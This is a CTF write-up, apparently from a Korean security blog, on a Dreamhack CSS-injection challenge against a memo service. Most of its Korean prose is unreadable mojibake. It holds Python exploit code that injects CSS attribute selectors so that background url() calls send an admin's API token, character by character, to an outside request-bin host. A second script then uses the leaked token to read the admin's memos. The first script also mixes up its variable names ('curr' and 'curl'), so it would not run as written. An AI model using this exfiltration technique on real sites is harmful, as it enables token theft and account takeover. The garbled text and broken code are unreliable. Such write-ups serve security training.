๐ CSS Injection
๊ณต๊ฒฉ์๊ฐ ์ฝ์ ํ ๊ฐ์ ํตํด์ ์น ํ์ด์ง ๋ด ๋ก๋๋ CSS(์คํ์ผ์ํธ) ๋๋ Style ํ๊ทธ์ ์์ฑ ๋ฑ ํ์ด์ง์ CSS๋ฅผ ํต์ ํ๋ ์ทจ์ฝ์ ์ด๋ค. ๋ํ์ ์ผ๋ก ํผ์ฑ์ ํ์ฉ๋ ์ ์์ผ๋ฉฐ ๋ค๋ฅธ XSS๋ CSRF ์ทจ์ฝ์ ์ด ์ฝ๊ฒ ํธ๋ฆฌ๊ฑฐ๋ ์ ์๋๋ก ์ฌ์ฉ์๋ฅผ ์์ด๋๋ฐ ์ฌ์ฉ๋๋ค.
| ์ฐธ๊ณ ์๋ฃ https://www.hahwul.com/cullinan/css-injection/
๋จผ์ ๋ฌธ์ ํ์ด์ง๋ฅผ ์ ์ํ๋ฉด ์์ ๊ฐ์ ๋ฉ์ธ ํ๋ฉด์ ๋ณผ ์ ์๋ค.
๋ฉ์ธ ํ์ด์ง์์ ์ธ๊ธ๋์ด ์๋ ๊ฒ์ฒ๋ผ ํด๋น ํ์ด์ง๋ 'Private Memo Service'๋ผ ๊ทธ๋ฐ์ง Memo ์นดํ ๊ณ ๋ฆฌ๋ฅผ ๋๋ ์ ๋ ๋ก๊ทธ์ธ์ ์งํํด์ผ ํจ์ ํ์ธํ ์ ์๋ค.
๊ณ์ ์ด ๋ฐ๋ก ์์ผ๋ ๋ฑ๋ก์ ๋จผ์ ํด๋ณด์.
์ฐ์ ์์๋ก username๊ณผ password๋ฅผ ๋ชจ๋ admin์ผ๋ก ์์ฑํ๊ณ ๋ฑ๋กํ์๋๋ ๋ฑ๋ก์ด ์ฑ๊ณต์ ์ผ๋ก ๋์๋ค๋ ๋ฌธ๊ตฌ๋ฅผ ๋ณผ ์ ์์๋ค.
๋ฑ๋กํ ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธํ๋ฉด ์์ ๊ฐ์ด ๋ก๊ทธ์ธ์ด ์ ์์ ์ผ๋ก ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
๋ก๊ทธ์ธํ ๊ณ์ ์ ํตํด ๋ง์ดํ์ด์ง์ ์ ์ํด๋ณด๋ API Token๋ ์ ๊ณตํ๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
๋ก๊ทธ์ธ ์ด์ ์๋ ํ์ธํ์ง ๋ชปํ๋ Memo ์นดํ ๊ณ ๋ฆฌ์ ๋ค์ด๊ฐ๋ณด๋ ์์ ๊ฐ์ ํ๋ฉด์ ๋ณผ ์ ์์๊ณ , ๋ฉ๋ชจ์ ์ ๋ ฅํ๋ ๊ฐ๋ค์ด ์๋ ์์ฐจ์ ์ผ๋ก ์ ์ฅ๋๋ ๊ฒ์ ๋ณผ ์ ์์๋ค.
์๋ฌ ํ์ด์ง์ ๋ํ ๋ฆฌํฌํธ๋ฅผ ์์ฑํ๋ ์นดํ ๊ณ ๋ฆฌ์์๋ ๊ฒฝ๋ก๋ฅผ ์ ๋ ฅํ ์ ์๋ ๋ถ๋ถ์ ์์์ ๊ฐ์ ๋ฃ๊ณ ํด๋น ๊ฒฝ๋ก๋ก ์ ์์ ํด๋ณด์๋๋ฐ ์ ์์ด ๋ถ๊ฐ๋ฅํ๋ค.
CSS Injection๊ณผ ๊ด๋ จ๋ ๋ฌธ์ ๊ฐ ๊ฑฐ์ ์ ํด๋ณธ ์ ์์ด์ ๊ทธ๋ฐ์ง ๋ฌธ์ ์ฌ์ดํธ์์๋ ๋ ์ด์ ์ด๋ป๊ฒ ์ ๊ทผํด์ผ ํ ์ง ๋ชฐ๋ผ ์ฝ๋๋ฅผ ๋ถ์ํด๋ณด์๋ค.
๋จผ์ flag๋ admin์ด ์์ฑํ ๋ฉ๋ชจ์ ๊ธฐ๋ก๋๊ณ ์๋ฐ.
admin ๋ฉ๋ชจ์ ๊ธฐ๋ก๋ ๋ด์ฉ์ ํ๋ํ๋ ๊ฒ์ด ํด๋น ๋ฌธ์ ์์ ํด๊ฒฐํด์ผ ํ ๋ถ๋ถ์ด๋ค. ํ์ง๋ง admin์ ๋ฉ๋ชจ๋ฅผ ์ฝ์ผ๋ ค๋ฉด admin ๊ณ์ ์ API-KEY๊ฐ ํ์ํ๋ค.
์ ์ฝ๋์์๋ /report ํ์ด์ง์์ report๋ฅผ ์ ์ถํ๋ฉด ์ ๋ฌํ path๋ฅผ ๊ฒ์ฆํ๊ณ admin์ด ์ ๋ฌํ path๋ก ์ ์ํ๊ณ ์๋ค.
ํด๋น ๋ถ๋ถ์ ๊ณต๊ฒฉ ๋์์ธ admin์ด ๋ก๊ทธ์ธํ๊ณ path์ ์ ์ํ๋ ์ฝ๋์ด๋ค
๋ํ ๋ฐฐ๊ฒฝ ์๊น์ color ํ๋ผ๋ฏธํฐ๋ก ์ง์ ํ ์ ์๋ค.
์๋ฅผ ๋ค์ด url์ ? ๋ท ๋ถ๋ถ์ color=yellow๋ก ํ๋ผ๋ฏธํฐ๋ฅผ ์์ฑํ ๊ฒฝ์ฐ ์ ์ด๋ฏธ์ง์ ๊ฐ์ด ๋ฐ๋๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
๊ทธ๋ฆฌ๊ณ /api/memo๋ฅผ ์ด์ฉํ๋ฉด uid๋ก ์ง์ ํ ์ฌ์ฉ์์ ๋ฉ๋ชจ๋ฅผ ํ์ธํ ์ ์๋ค. ๋จ, apikey_required()๊ฐ ๋จผ์ ์คํ๋๋๋ฐ, API-KEY๋ฅผ ํตํด ์ค์ฌ์ฉ์๊ฐ ๋ง๋์ง ๊ฒ์ฆ์ ์ํํ๋ค.
/mypage์์๋ token๊ฐ์ ๋ฐ๋ก ํ์ธํ ์ ์๋ค. ๋ฐ๋ผ์, /report ํ์ด์ง์์ css selector๋ฅผ ํ์ฉํ์ฌ mypage์ ํ ํฐ๊ฐ์ ํ์ทจํด์ค๋ ๋ฐฉ์์ผ๋ก ์ต์คํ๋ก์ ์ฝ๋๋ฅผ ์์ฑํ ์ ์๋ค.
import requests, string
URL = "http://host3.dreamhack.games:21303/report"
curl = "" # API KEY: pgqnoqhp
for token in string.ascii_lowercase:
data = {"path":"mypage?color=white;} input[id=InputApitoken][value^="+curr+token+"] {background: url(https://wzkofsc.request.dreamhack.games/"+curl+token+");"}
response = requests.post(URL, data=data)
print(f"'{token}': Status {response.status_code}")
๋จผ์ admin์ ํ ํฐ๊ฐ์ ์์๋ด๋ ์ฝ๋๋ฅผ ์์ฑํด์ฃผ์๋ค. url() ์์ ์๋ ๋งํฌ๋ ๋๋ฆผํต์์ ์ ๊ณตํด์ฃผ๊ณ ์๋ Request Bin Tools๋ฅผ ์ฌ์ฉํ์ฌ ํด๋น ์ฃผ์๋ฅผ ๋ฃ์ด์ฃผ์๋ค.
์ ์ฝ๋๋ฅผ ์คํ์ํค๋ฉด ํ ํฐ๊ฐ์ด ํ๋์ฉ ๋จ๋๋ฐ ์ด๋ ํ๋ฒ ์คํํ ๋๋ง๋ค ์ํ๋ฒณ ํ๊ฐ์ฉ ์ ์ ์๊ธฐ ๋๋ฌธ์ curl ๋ถ๋ถ์ ํ๋์ฉ ์ง์ ๋ฃ์ด์ฃผ์ด์ผ ๋ค์ ๊ฐ์ ์ ์ ์๋ค.
์ด๋ ๊ฒ ์ฌ๋ฌ ์๋๋ฅผ ํด๋ณด๋ ๊ณผ์ ์์ ํ์ด์ง๊ฐ ๋์ํ์ง ์๊ฑฐ๋ Request Bin ๋งํฌ๊ฐ ๋ง๋ฃ๋๋ ๋ฑ ์ฌ๋ฌ ์ํ์ฐฉ์ค๋ฅผ ๊ฒช์๋ค.....
์ ์ด๋ฏธ์ง์ ๊ฐ์ด ์ฝ๋๋ฅผ ํ๋ฒ ์คํํ ๋๋ง๋ค ์ํ๋ฒณ์ด ํ๋์ฉ ๋์ด๋๋ฉด์ Path๊ฐ ์์ฑ๋๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
์ต์ข ์ ์ผ๋ก ์๊ฒ๋ ๊ฒฝ๋ก๋ฅผ ํ ํฐ๊ฐ์ผ๋ก ํ์ฉํ์ฌ api/memo์ ์ ๊ทผํ ์ ์๋๋ก ์๋์ ๊ฐ์ด ์ฝ๋๋ฅผ ์์ฑํ ์ ์๋ค.
import requests
URL = "http://host3.dreamhack.games:21303/api/memo"
TOKEN = "pgqnoqhp"
headers = {
"API-KEY": TOKEN
}
response = requests.get(URL, headers=headers)
# ์๋ต ํ์ธ
if response.status_code == 200:
print("Request successful!")
response_data = response.json()
if response_data['code'] == 200:
# ๋ฉ๋ชจ ๋ฐ์ดํฐ ํ์ฑ ๋ฐ ์ถ๋ ฅ
memos = response_data['memo']
for memo in memos:
print(f"Memo index: {memo['idx']}, Memo content: {memo['memo']}")
else:
print(f"Error: {response_data['message']}")
else:
print(f"Failed to fetch data. Status code: {response.status_code}")
์ฝ๋๋ฅผ ์คํํ๋ฉด ํ๋๊ทธ ๊ฐ์ ํ์ธํ ์ ์๋ค!
๋๋์ด ๋ฌธ์ ํด๊ฒฐ!!
'Security > Web hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Mango (0) | 2024.11.27 |
---|---|
[Dreamhack] chocoshop wirte-up (0) | 2024.11.13 |
[Dreamhack] CSP Bypass Advanced wirte-up (3) | 2024.11.06 |
[Dreamhack] XSS Filtering Bypass Advanced wirte-up (1) | 2024.10.30 |
[Dreamhack] blind-command write-up (0) | 2024.10.02 |